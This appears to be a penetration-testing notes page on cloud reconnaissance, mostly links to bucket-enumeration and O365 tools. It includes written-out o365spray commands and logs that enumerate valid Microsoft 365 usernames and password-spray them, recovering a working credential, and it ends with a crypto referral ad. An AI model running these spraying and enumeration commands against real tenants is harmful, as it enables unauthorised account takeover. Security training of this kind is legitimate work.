> For the complete documentation index, see [llms.txt](https://0xss0rz.gitbook.io/0xss0rz/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://0xss0rz.gitbook.io/0xss0rz/pentest/recon/cloud.md).

# Cloud

{% content-ref url="/pages/UOKsv2bgNBwSjQ1MrU2E" %}
[Cloud](/0xss0rz/cloud/cloud-vm.md)
{% endcontent-ref %}

## [Google Dorks](/0xss0rz/pentest/recon/google-dorks.md)

{% content-ref url="/pages/yJvJ17kdWiGpCtDCxAZF" %}
[Google Dorks](/0xss0rz/pentest/recon/google-dorks.md)
{% endcontent-ref %}

## Online tool

{% embed url="<https://osint.sh/buckets/>" %}

{% embed url="<https://buckets.grayhatwarfare.com/>" %}

<figure><img src="/files/FfX3c5bj5tUFT2WFyj9S" alt=""><figcaption></figcaption></figure>

{% embed url="<https://osint.sh/buckets/>" %}

## Enumeration - Bruteforce

### Cloud Enum

{% embed url="<https://github.com/initstring/cloud_enum>" %}

{% embed url="<https://www.kali.org/tools/cloud-enum/>" %}

<figure><img src="/files/nh5Q2qXKSWi71vUCUqyt" alt=""><figcaption></figcaption></figure>

### s3enum

{% embed url="<https://github.com/koenrh/s3enum>" %}

### lazys3

{% embed url="<https://github.com/nahamsec/lazys3>" %}

### S3Scanner

{% embed url="<https://github.com/sa7mon/S3Scanner>" %}

## GCP - Find Assets

{% embed url="<https://github.com/mxrch/GHunt>" %}

{% embed url="<https://hacklido.com/blog/260-ghunt-20-gmail-osint-guide-part-1>" %}

```
ghunt spiderdal -u domain.com
```

<figure><img src="/files/3gy0MbnIJePu9bSYqGQq" alt=""><figcaption></figcaption></figure>

## Public AWS S3 Buckets

Scan for sensitive files and secrets - CloudShovel

{% embed url="<https://github.com/saw-your-packet/CloudShovel>" %}

Misconf - Permissions ?

{% content-ref url="/pages/yF3gRLtIPmAWfVxyFu7i" %}
[AWS](/0xss0rz/cloud/aws.md)
{% endcontent-ref %}

## **Private and Public SSH Keys Leaked**

<figure><img src="/files/TcbcoQSZ6X9Dsbvszihv" alt=""><figcaption></figcaption></figure>

## Cloudflare R2 Buckets

{% embed url="<https://blog.intigriti.com/hacking-tools/hacking-misconfigured-cloudflare-r2-buckets-a-complete-guide>" %}

## **O365 / Microsoft 365**&#x20;

### **Spray - Validate O365**

{% embed url="<https://github.com/0xZDH/o365spray>" %}

```shell-session
$ python3 o365spray.py --validate --domain msplaintext.xyz

            *** O365 Spray ***            

>----------------------------------------<

   > version        :  2.0.4
   > domain         :  msplaintext.xyz
   > validate       :  True
   > timeout        :  25 seconds
   > start          :  2022-04-13 09:46:40

>----------------------------------------<

[2022-04-13 09:46:40,344] INFO : Running O365 validation for: msplaintext.xyz
[2022-04-13 09:46:40,743] INFO : [VALID] The following domain is using O365: msplaintext.xyz
```

### Identify usernames

```shell-session
$ python3 o365spray.py --enum -U users.txt --domain msplaintext.xyz        
                                       
            *** O365 Spray ***             

>----------------------------------------<

   > version        :  2.0.4
   > domain         :  msplaintext.xyz
   > enum           :  True
   > userfile       :  users.txt
   > enum_module    :  office
   > rate           :  10 threads
   > timeout        :  25 seconds
   > start          :  2022-04-13 09:48:03

>----------------------------------------<

[2022-04-13 09:48:03,621] INFO : Running O365 validation for: msplaintext.xyz
[2022-04-13 09:48:04,062] INFO : [VALID] The following domain is using O365: msplaintext.xyz
[2022-04-13 09:48:04,064] INFO : Running user enumeration against 67 potential users
[2022-04-13 09:48:08,244] INFO : [VALID] lewen@msplaintext.xyz
[2022-04-13 09:48:10,415] INFO : [VALID] juurena@msplaintext.xyz
[2022-04-13 09:48:10,415] INFO : 

[ * ] Valid accounts can be found at: '/opt/o365spray/enum/enum_valid_accounts.2204130948.txt'
[ * ] All enumerated accounts can be found at: '/opt/o365spray/enum/enum_tested_accounts.2204130948.txt'

[2022-04-13 09:48:10,416] INFO : Valid Accounts: 2
```

{% embed url="<https://www.pwndefend.com/2023/01/11/password-spraying-office-365/>" %}

{% embed url="<https://github.com/dievus/Oh365UserFinder>" %}

{% embed url="<https://securityonline.info/oh365userfinder-identifying-valid-o365-accounts-and-domains/>" %}

### [Brute force](/0xss0rz/pentest/brute-force/o365-bruteforce.md)

We can instead try to use custom tools such as [o365spray](https://github.com/0xZDH/o365spray) or [MailSniper](https://github.com/dafthack/MailSniper) for Microsoft Office 365 or [CredKing](https://github.com/ustayready/CredKing) for Gmail or Okta. Keep in mind that these tools need to be up-to-date because if the service provider changes something (which happens often), the tools may not work anymore

```shell-session
$ python3 o365spray.py --spray -U usersfound.txt -p 'March2022!' --count 1 --lockout 1 --domain msplaintext.xyz

            *** O365 Spray ***            

>----------------------------------------<

   > version        :  2.0.4
   > domain         :  msplaintext.xyz
   > spray          :  True
   > password       :  March2022!
   > userfile       :  usersfound.txt
   > count          :  1 passwords/spray
   > lockout        :  1.0 minutes
   > spray_module   :  oauth2
   > rate           :  10 threads
   > safe           :  10 locked accounts
   > timeout        :  25 seconds
   > start          :  2022-04-14 12:26:31

>----------------------------------------<

[2022-04-14 12:26:31,757] INFO : Running O365 validation for: msplaintext.xyz
[2022-04-14 12:26:32,201] INFO : [VALID] The following domain is using O365: msplaintext.xyz
[2022-04-14 12:26:32,202] INFO : Running password spray against 2 users.
[2022-04-14 12:26:32,202] INFO : Password spraying the following passwords: ['March2022!']
[2022-04-14 12:26:33,025] INFO : [VALID] lewen@msplaintext.xyz:March2022!
[2022-04-14 12:26:33,048] INFO : 

[ * ] Writing valid credentials to: '/opt/o365spray/spray/spray_valid_credentials.2204141226.txt'
[ * ] All sprayed credentials can be found at: '/opt/o365spray/spray/spray_tested_credentials.2204141226.txt'

[2022-04-14 12:26:33,048] INFO : Valid Credentials: 1
```

### Power-Pwn

{% embed url="<https://github.com/mbrg/power-pwn>" %}

## [Earn Free Crypto / BTC with Cointiply](https://cointiply.com/r/pkZxp)

[**Play Games Earn Cash Rewards**](https://cointiply.com/r/pkZxp)

<figure><img src="/files/a876wNYE568SJIfTZVxL" alt=""><figcaption></figcaption></figure>